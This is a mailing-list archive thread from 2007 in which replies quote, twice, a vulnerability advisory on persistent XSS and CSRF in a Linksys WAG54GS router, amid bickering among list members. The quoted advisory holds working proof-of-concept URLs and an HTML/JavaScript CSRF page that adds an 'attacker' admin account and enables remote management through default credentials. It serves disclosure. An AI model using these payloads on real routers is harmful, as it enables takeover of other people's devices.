Full Disclosure mailing list archives

Re: Persistent XSS and CSRF on network appliance[subject corrected :) ]

From: "Pete Simpson" <Pete.Simpson () clearswift com>
Date: Wed, 27 Jun 2007 23:52:36 +0100

I haven't followed all of this rather strange thread, but I wonder if
n_td_v, gobble_ and the venerable Doctor may be one and the same group?
After all few educated individuals would be likely to be so pretentious
as to declare themselves as both Dr and PhD? As if we might confuse the
guy, on this list with a doctor of medicine or a doctor of divinity or a
witch doctor? Odd.

-----Original Message-----
From: full-disclosure-bounces () lists grok org uk
[mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of Dr. Neal
Krawetz PhD
Sent: 27 June 2007 23:35
To: pagvac
Cc: full-disclosure () lists grok org uk
Subject: Re: [Full-disclosure] Persistent XSS and CSRF on network
appliance[subject corrected :) ]

I believe this makes you the fool.

- doc neal, phd
http://www.hackerfactor.com/blog/


On Wed, Jun 27, 2007 at 11:07:11PM +0100, pagvac wrote:

I didn't intend to send it twice.

On 6/27/07, Dr. Neal Krawetz PhD <neal () krawetz org> wrote:

We heard you the first time, gobbles aka n3td3v.

- doc neal
http://www.hackerfactor.com/blog/

On Wed, Jun 27, 2007 at 10:49:25PM +0100, pagvac wrote:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Nice look up to

http://unknown.pentester.googlepages.com/sitemap.xml


If you bothered that much you deserve the advisory I guess :-D.

btw, I didn't know google pages have sitemap.xml enabled by

default.


So no hash cracking here, just to set things straight.

Joey Mengele wrote:

After plugging this hash into John The Ripper, I was able to
reproduce the text of the original advisory. It follows in
entirety. For those wishing to verify the hash provided by the
architect, I have also included the advisory in attachment form

as

a convenience for the skeptics who say MD5 can not be reversed.

J

___ BEGIN LAME CRACKED ADVISORY ___
Persistent XSS and CSRF and on Wireless-G ADSL Gateway with
SpeedBooster (WAG54GS)

== Date found ==

24 June 2007

== Firmware Version ==

V1.00.06

== Description ==


There are several persistent XSS vulnerabilities on the
'/setup.cgi' script.

It is possible to inject JavaScript by assigning a payload like

the

following
to any of the vulnerable parameters:

<script>[PAYLOAD]</script>


The vulnerable (non-sanitized) parameters are the following:

'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'

Additionally, all HTTP requests are not tokenized using non-
predictable values.
Thus, all requests to the router's HTTP interface are vulnerable

to

Cross-site
Request Forgeries (CSRF), perhaps by design.

The following is an example of a HTTP request (notice the lack of
non-predictable tokens):

    POST /setup.cgi HTTP/1.1
    Authorization: Basic YWRtaW46YWRtaW4=

mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file

=Factorydefaults.htm&next_file=index.htm&message=

Although the original request is a POST, we can convert it to a
GET, so that all posted parameters can be submitted on a single

URL.


For example, the previous POST request can be converted to a URL
such as the following:

http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factor

y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f

ile=index.htm&message=

By forging administrative requests ("Administration" button on

the

router's HTML menu), an attacker can compromise the router

provided

the
victim user visits a malicious URL or HTML page.

The attack can only be successfuly if any of the following
conditions are met:

- the administrator hasn't changed the default credentials
(admin/admin)
- the administrator's browser has an active authentication

session

with the router's interface when the attack happens
  (highly unlikely)


== Persistent XSS PoC ==

The following URL creates a DoS condition by making the
"Administration" page inaccessible since 'history.back()'
will run everytime the Administration page is visited. Thus the
administrator won't be able to ever change the
default credentials unless a hard reset is performed on using the
router's physical "restart" switch:

http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&;

sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http

_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e

nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=

yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()<

/script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=ena

ble&todo=save&this_file=Administration.htm&next_file=Administration.

htm&message=
    http://tinyurl.com/36sjzw


== CSRF PoC ==

The following HTML page does the following:

- adds an *additional* administrative account, with a username
equals to 'attacker' and a password equals to '0wned' (without
removing original admin account!)
- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion

    <html>
    <body>
        <script>
        // send 2 requests to add an administrative account and

enable

remote management
        // tries with default credentials and with credentials

cached

by

browser (if any)

        var img = new Image();
        var img2 = new Image();

        img.src =

'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attack

er&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&h

ttp_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wla

n_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchang

ed=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable

&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Admin

istration.htm&next_file=Administration.htm&message=';
        img2.src =

'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd

=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=

1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=ena

ble&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_rem

ote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enab

le=enable&h_wlan_enable=enable&todo=save&this_file=Administration.ht

m&next_file=Administration.htm&message=';
        </script>
    </body>
    </html>

The first URL forges the administrative request using the default
credentials, so it won't work if default credentials
have been changed.

The second URL doesn't specify any credentials as an attempt to

use

the browser's cached credentials.
If the admin user has clicked on "Save password" on the basic
authentication prompt, most browsers will
prompt the user to confirm submitting the cached credentials. The
only situation in which browsers won't
ask the user to confirm submitting the credentials would be if

the

malicious CSRF page was visited while
the browser has an active authenticated session with the router's
HTTP interface (very unlikely).


== Additional notes ==

- router reboots after saving settings (requests sent to
'setup.cgi')

- all attacks were tested using Internet Explorer 7

- No firmware updates were available at time of testing, only GPL
code is available:

http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagen

ame=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisito

rWrapper&lid=8904040638B02&displaypage=download#versiondetail


== References ==

http://www.linksys.com/


== Credits ==

pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]
___ END LAME CRACKED ADVISORY ___

On Wed, 27 Jun 2007 16:29:43 -0400 pagvac
<unknown.pentester () gmail com> wrote:

The file "research.txt" will be provided once the vendor fixes

the

issues. At that point anyone can check that the hash matches the
one
included in this post.

Thank you.

Joey Mengele wrote:

Please provide the original content of research.txt so I can

verify

that the hash is correct. I will also need the hash of your
md5sum.exe. Thanks.

J

On Wed, 27 Jun 2007 16:02:16 -0400 pagvac
<unknown.pentester () gmail com> wrote:

The HTTP interface of a network appliance has been researched

and

found to be vulnerable to several persistent XSS and CSRF.

Such research was done by pdp (architect) and myself. We

informed

the
vendor and will publish the details when a fix is available.

The following is the MD5 hash for the advisory file.

$ md5sum.exe research.txt
3db1d71fc3a0eae119617b3b1124206f  *research.txt

Regards,

--
pagvac
[http://gnucitizen.org, http://ikwt.com/]

--
Click here for to find products that will help grow your small

business.

http://tagline.hushmail.com/fc/Ioyw6h4eDJc9UN71zvlsGp4ZGBzvqUZDr59L

zooSm6N56gZuYA97Kt/


--
pagvac
[http://gnucitizen.org, http://ikwt.com/]


--
Click to make millions by owning your own franchise


http://tagline.hushmail.com/fc/Ioyw6h4eB8rDoXd3rzWGRyuLVrO8wOmiWFoFiDB4

VYIwImlRd0K9S9/

----------------------------------------------------------------------


Persistent XSS and CSRF and on Wireless-G ADSL Gateway with

SpeedBooster (WAG54GS)


== Date found ==

24 June 2007

== Firmware Version ==

V1.00.06

== Description ==


There are several persistent XSS vulnerabilities on the

'/setup.cgi'

script.


It is possible to inject JavaScript by assigning a payload like

the

following

to any of the vulnerable parameters:

<script>[PAYLOAD]</script>


The vulnerable (non-sanitized) parameters are the following:

'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'

Additionally, all HTTP requests are not tokenized using

non-predictable

values.

Thus, all requests to the router's HTTP interface are vulnerable

to

Cross-site

Request Forgeries (CSRF), perhaps by design.

The following is an example of a HTTP request (notice the lack of

non-predictable tokens):


    POST /setup.cgi HTTP/1.1
    Authorization: Basic YWRtaW46YWRtaW4=


mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Fac

torydefaults.htm&next_file=index.htm&message=


Although the original request is a POST, we can convert it to a

GET, so

that all posted parameters can be submitted on a single URL.


For example, the previous POST request can be converted to a URL

such

as the following:


http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factory+De

faults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=inde
x.htm&message=


By forging administrative requests ("Administration" button on

the

router's HTML menu), an attacker can compromise the router provided

the

victim user visits a malicious URL or HTML page.

The attack can only be successfuly if any of the following

conditions

are met:


- the administrator hasn't changed the default credentials

(admin/admin)

- the administrator's browser has an active authentication

session with

the router's interface when the attack happens

  (highly unlikely)


== Persistent XSS PoC ==

The following URL creates a DoS condition by making the

"Administration" page inaccessible since 'history.back()'

will run everytime the Administration page is visited. Thus the

administrator won't be able to ever change the

default credentials unless a hard reset is performed on using the

router's physical "restart" switch:


http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&sysP

asswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport
=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable
&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_man
agement=enable&c4_trap_ip_="><script>history.back()</script>&h_snmp_enab
le=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=
Administration.htm&next_file=Administration.htm&message=

    http://tinyurl.com/36sjzw


== CSRF PoC ==

The following HTML page does the following:

- adds an *additional* administrative account, with a username

equals

to 'attacker' and a password equals to '0wned' (without removing
original admin account!)

- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion

    <html>
    <body>
        <script>
        // send 2 requests to add an administrative account and

enable

remote management

        // tries with default credentials and with credentials

cached

by browser (if any)


        var img = new Image();
        var img2 = new Image();

        img.src =


'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attacker&;

sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wan
port=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=en
able&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote
_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enab
le&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file
=Administration.htm&message=';

        img2.src =


'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0w

ned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&de
vname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Sa
ve+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=
enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_en
able=enable&todo=save&this_file=Administration.htm&next_file=Administrat
ion.htm&message=';

        </script>
    </body>
    </html>

The first URL forges the administrative request using the default

credentials, so it won't work if default credentials

have been changed.

The second URL doesn't specify any credentials as an attempt to

use the

browser's cached credentials.

If the admin user has clicked on "Save password" on the basic

authentication prompt, most browsers will

prompt the user to confirm submitting the cached credentials. The

only

situation in which browsers won't

ask the user to confirm submitting the credentials would be if

the

malicious CSRF page was visited while

the browser has an active authenticated session with the router's

HTTP

interface (very unlikely).



== Additional notes ==

- router reboots after saving settings (requests sent to

'setup.cgi')


- all attacks were tested using Internet Explorer 7

- No firmware updates were available at time of testing, only GPL

code

is available:


http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagename

=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisitorWrappe
r&lid=8904040638B02&displaypage=download#versiondetail



== References ==

http://www.linksys.com/


== Credits ==

pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]



- --
pagvac
[http://gnucitizen.org, http://ikwt.com/]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (MingW32)

iD8DBQFGgttjjXB4hX6OC/cRAjPBAKCHfyKTxufqkA3umJivYkePZr2IxQCfaIPd
/NTsZfC0sSYvWezySDRmtZY=
=2L6c
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



-- 
pagvac
[http://gnucitizen.org, http://ikwt.com/]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

CUSTOMER TESTIMONIAL OF THE WEEK
----------------------------------------------------------------
Claudely Penchiari, IT Manager, Comgas:
"We selected MIMEsweeper because of its policy-based content security, advanced threat and remote management and its
ability to integrate with virtually any third-party anti-virus tool"
----------------------------------------------------------------
Clearswift monitors, controls and protects all its messaging traffic in compliance with its corporate email policy
using Clearswift products.
Find out more about Clearswift, its solutions and services at http://www.clearswift.com

This communication is confidential and may contain privileged information intended solely for the named addressee(s).
It may not be used or disclosed except for the purpose for which it has been sent. If you are not the intended
recipient, you must not copy, distribute or take any action in reliance on it. Unless expressly stated, opinions in
this message are those of the individual sender and not of Clearswift. If you have received this communication in
error, please notify Clearswift by emailing support () clearswift com quoting the sender and delete the message and any
attached documents. Clearswift accepts no liability or responsibility for any onward transmission or use of emails and
attachments having left the Clearswift domain.

This footnote confirms that this email message has been swept by MIMEsweeper for Content Security threats, including
computer viruses.

Current thread:

Re: Persistent XSS and CSRF on network appliance[subject corrected :) ] Pete Simpson (Jun 27)
- Re: Persistent XSS and CSRF on network appliance[subject corrected :) ] coderman (Jun 27)